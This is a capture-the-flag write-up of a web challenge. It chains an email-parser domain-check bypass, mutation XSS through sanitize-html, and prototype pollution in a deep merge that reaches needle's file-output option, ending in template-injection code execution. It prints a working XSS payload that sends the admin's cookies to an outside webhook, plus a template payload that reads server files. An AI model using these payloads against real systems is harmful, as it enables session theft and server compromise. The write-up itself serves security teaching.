In this challenge, we will exploit several vulnerabilities, including inconsistencies in Nodemailer's email parser, bypassing HTML sanitization using Mutation XSS (MXSS), and achieving Remote Code Execution (RCE) through file overwrite via a prototype pollution gadget chain. Let's delve into each step of the exploitation process.
Below is a comprehensive walkthrough of the exploitation process, including code snippets and visual aids to illustrate each step.
Visiting the home page presents the login interface:
Additionally, an email client is available for registration:
Attempting to register with the provided email results in the following error:
Examining the package.json, the application uses the latest versions for all packages, indicating no known CVEs. Our first objective is to create an account.
package.json
The registration route is implemented as follows:
const registerAPI = async (req, res) => { const { email, password, role = "guest" } = req.body; const emailDomain = emailAddresses.parseOneAddress(email)?.domain; if (!emailDomain || emailDomain !== 'interstellar.htb') { return res.status(200).json({ message: 'Registration is not allowed for this email domain' }); } try { await User.createUser(email, password, role); return res.json({ message: "User registered. Verification email sent.", status: 201 }); } catch (err) { return res.status(500).json({ message: err.message, status: 500 }); } };
The email domain must be interstellar.htb, and it uses the email-addresses library to parse the email according to RFC 5322.
interstellar.htb
email-addresses
Let's attempt to parse the following string with this library to see what domain we obtain: "\"test\\@example.com> ORCPT=test;admin\"@super.com"
"\"test\\@example.com> ORCPT=test;admin\"@super.com"
const emailAddresses = require('email-addresses'); let mail = "\"test\\@email.htb x\"@interstellar.htb" const parsedEmail = emailAddresses.parseOneAddress(mail); if (parsedEmail) { console.log(parsedEmail); } else { console.log('Invalid email address'); }
Running this script yields the following output:
{ parts: { name: null, address: { name: 'addr-spec', tokens: '"test\\@email.htb x"@super.com', semantic: 'test@email.htb x@super.com', children: [Array] }, local: { name: 'local-part', tokens: '"test\\@email.htb x"', semantic: 'test@email.htb x', children: [Array] }, domain: { name: 'domain', tokens: 'super.com', semantic: 'super.com', children: [Array] }, comments: [] }, type: 'mailbox', name: null, address: 'test@email.htb x@super.com', local: 'test@email.htb x', domain: 'super.com', comments: '', groupName: null }
The domain is identified as super.com. Let's use this as our email and check if we receive the verification email:
super.com
Email used: "test\@email.htb x"@interstellar.htb, You can read more about how we got this payload from my Nodemailer post
"test\@email.htb x"@interstellar.htb
With the verification code, we can now log in:
Next, we can create a bounty and report it. Let's examine the report addition functionality:
const addBountiesAPI = async (req, res) => { const { status = "unapproved", ...bountyData } = req.body; const sanitizedBountyData = sanitizeHTMLContent(bountyData); try { const newBounty = await BountyModel.create({ ...sanitizedBountyData, status, }); return res.status(200).json({ message: "OK", data: newBounty }); } catch (err) { return res .status(500) .json({ message: "Error adding bounty", error: err.message }); } }; const sanitizeHTMLContent = (data) => { return Object.entries(data).reduce((acc, [key, value]) => { acc[key] = sanitizeHtml(value, { allowedTags: sanitizeHtml.defaults.allowedTags.concat([ "math", "style", "svg", ]), allowVulnerableTags: true, }); return acc; }, {}); };
The application uses the sanitize-html library to sanitize the input, allowing style, math, and svg elements along with the default HTML elements. It also permits vulnerable tags by setting allowVulnerableTags to true, making it susceptible to MXSS.
sanitize-html
style
math
svg
allowVulnerableTags
true
By using a payload like the following, we can achieve XSS:
<math><style><img src=x onerror="fetch('https://webhook.site/757ea325-e795-4446-87a6-72576ee56cd2?x=' + document.cookie)">
This payload allows us to steal the admin's cookies.
By adding a bounty with the above payload in the description and reporting our bounty, the admin bot processes it:
We successfully obtained the admin cookie.
Logging in as admin grants access to two new features:
The first feature allows editing bounties, and the second feature permits sending GET requests to any URL.
The edit functionality operates as follows:
const editBountiesAPI = async (req, res) => { const { ...bountyData } = req.body; try { const data = await BountyModel.findByPk(req.params.id, { attributes: [ "target_name", "target_aliases", "target_species", "last_known_location", "galaxy", "star_system", "planet", "coordinates", "reward_credits", "reward_items", "issuer_name", "issuer_faction", "risk_level", "required_equipment", "posted_at", "status", "image", "description", "crimes", "id", ], }); if (!data) { return res.status(404).json({ message: "Bounty not found" }); } const updated = mergedeep(data.toJSON(), bountyData); await data.update(updated); return res.json(updated); } catch (err) { console.log(err); return res.status(500).json({ message: "Error fetching data" }); } };
This function retrieves a bounty by its primary key, performs a deep merge with the provided bountyData, and updates the database. However, it is vulnerable to prototype pollution, allowing an attacker to overwrite properties of the prototype object.
bountyData
To exploit this, we need a gadget that allows significant impact. Examining the libraries used by this application:
const needle = require("needle");
The needle library has an option to write the output of a request to a file:
needle
output: Dump response output to file. This occurs after parsing and charset decoding is done.
By setting this option to a file and making a web request, we can overwrite files. This allows us to overwrite a Node.js template and achieve RCE through it. Additionally, there's an unhandled error that can be exploited to crash the application, causing Supervisord to restart it with the updated malicious template. That way we can achieve RCE.
const fetchURL = async (url) => { if (!url.startsWith("http://") && !url.startsWith("https://")) { throw new Error("Invalid URL: URL must start with http or https"); } const options = { compressed: true, follow_max: 0, }; return new Promise((resolve, reject) => { needle.get(url, options, (err, resp, body) => { if (err) { return reject(new Error("Error fetching the URL: " + err.message)); } resolve(body); }); }); };
After polluting and overwriting the template we can pass file:///test to restart the application, and utilise the following template payload to read content of flag
file:///test
{{ range.constructor("return global.process.mainModule.require('fs').readFileSync('/flag.txt', 'utf8')")() }}
This concludes the challenge :)